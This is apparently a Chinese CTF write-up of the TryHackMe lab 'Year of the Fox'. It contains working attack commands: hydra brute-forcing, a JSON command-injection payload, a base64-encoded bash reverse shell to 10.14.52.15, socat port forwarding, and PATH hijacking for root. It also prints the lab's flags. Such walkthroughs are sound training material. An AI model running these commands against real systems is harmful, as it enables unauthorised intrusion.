打靶记录(二一)之THMYearofFox
端口扫描
只有一个Web端口还有SMB服务
SMB
因为Web进去发现要登录,我们现在又没有任何信息,所以先转向SMB。
enum4linux -a ip |
发现一个共享但是无法访问
发现了两个用户,然后也就没什么信息了。
Web
我们继续转到80端口,有了用户名,没其他信息,只能试着爆破了
发现登录框是GET请求,那用hydra的方式应该和之前POST表单不太一样
fox用户爆不出来,rascal可以
hydra -l rascal -P /usr/share/wordlists/rockyou.txt 10.10.88.192 http-get |
貌似每次开启靶机的密码都不一样
发现是一个搜索系统
发现我们搜索的东西是以JSON类型上传的
而且他给我们显示了三个文件
抓包放到bp的重放器中,可以看到这个搜索的功能是在search.php执行的,我们可以猜测是一个命令执行语句
然后不会了,看WP!用的是JSON注入
上传类似于
{"target":"\";要执行的命令;\""} |
想了好久,不太懂,在这位师傅写的文章理解了
Getshell
于是执行反向shell,因为发现有过滤”&”,所以用base64来进行编码
编码前:/bin/bash -i >& /dev/tcp/10.14.52.15/1234 0>&1
命令换成
echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjE0LjUyLjE1LzEyMzQgMD4mMQ== |base64 -d |bash |
将这段字符串base64解码后给bash来执行
开启监听,成功连接
locate web
cat /var/www/web-flag.txt
THM{Nzg2ZWQwYWUwN2UwOTU3NDY5ZjVmYTYw}
横向移动
cat /etc/passwd
发现有fox和rascal两个用户
之前搜索里的三个文件也没什么东西,而且还不能用”su”来切换用户
又不会了,看WP
ss -tlnp可以查看这台机子在监听什么tcp端口
我们发现实际上有开启ssh端口,但是只能在内网访问,所以我们nmap扫描不出来(?)
cat /etc/ssh/ssh_config,发现只有fox用户可以ssh
所以要做端口转发来连接fox
具体操作如下,我们要使用socat
https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat
在这里下载static binary的socat,是编译好了的且与库连接在一起的,之前搞了半天传了个没带库的回报库不存在
复制一份socat的二进制到kali的桌面,上传到靶机
python -m http.server 80 |
开启python服务器
在shell中cd /tmp,因为www-data的权限太小了,所以在临时目录/tmp下执行比较常见
wget http://ip/socat
chmod +x socat
./socat TCP-LISTEN:2222,fork TCP:127.0.0.1:22 |
将开启一个2222端口的监听,并把传入到2222端口的连接转发至22端口
这样我们就可以用kali来连接2222端口
接下来用hydra爆破fox用户的密码
hydra -l fox -P /usr/share/wordlists/rockyou.txt ssh://靶机ip:2222 -t 4 |
这个密码貌似也是每次都不一样,我这里爆出来是tigers
ssh fox@10.10.88.192 -p 2222 |
user.txt
THM{Njg3NWZhNDBjMmNlMzNkMGZmMDBhYjhk}
提权
sudo -l发现能执行一个shutdown命令,GTFOBINS中没有,估计是一个特殊的二进制文件
scp -P 2222 fox@10.10.88.192:/usr/sbin/shutdown ~/桌面 |
下载下来用IDA查看
发现是执行了系统命令poweroff
而这个poweroff命令是/sbin/poweroff目录下,那我们就可以用添加环境变量的方式来新开一个bash来获取root权限
我们先CD至/tmp目录,创建一个poweroff
chmod +x poweroff |
我们发现/tmp目录了在/sbin之前了,也就会先执行/tmp目录下的poweroff
提权成功
最后还藏了一手
THM{ODM3NTdkMDljYmM4ZjdhZWFhY2VjY2Fk}
PS:给的那个PRIZE解码后一串16进制,不知道是干嘛的233
碎碎念
这个靶机才开始真的感觉到上强度了但也还好,花了比较多的时间了解了JSON注入然后碰到了端口转发,这次也是了解了如何看ssh开设在内网。虽然之前碰到了好几次,但再次碰到还是会有磕磕碰碰,尤其是在不知道密码的情况下。提权还是挺简单的环境变量劫持。嗯,期待这个系列接下来的靶机!